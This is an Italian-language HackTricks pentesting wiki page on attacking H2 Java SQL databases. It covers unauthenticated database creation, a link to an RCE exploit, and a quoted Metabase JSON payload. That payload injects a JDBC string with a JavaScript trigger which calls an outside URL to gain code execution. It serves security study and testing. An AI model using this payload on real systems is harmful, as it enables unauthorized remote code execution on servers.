mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1.4 KiB
1.4 KiB
H2 - Java SQL database
{{#include ../../banners/hacktricks-training.md}}
Pagina ufficiale: https://www.h2database.com/html/main.html
Accesso
Puoi indicare un nome di database non esistente per creare un nuovo database senza credenziali valide (non autenticato):
Oppure, se sai che ad esempio un mysql è in esecuzione e conosci il nome del database e le credenziali per quel database, puoi semplicemente accedervi:
Trucco dalla box Hawk di HTB.
RCE
Avendo accesso per comunicare con il database H2, controlla questo exploit per ottenere RCE su di esso: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed
H2 SQL Injection per RCE
In questo post viene spiegato un payload per ottenere RCE tramite un database H2 abusando di una SQL Injection.
[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]
{{#include ../../banners/hacktricks-training.md}}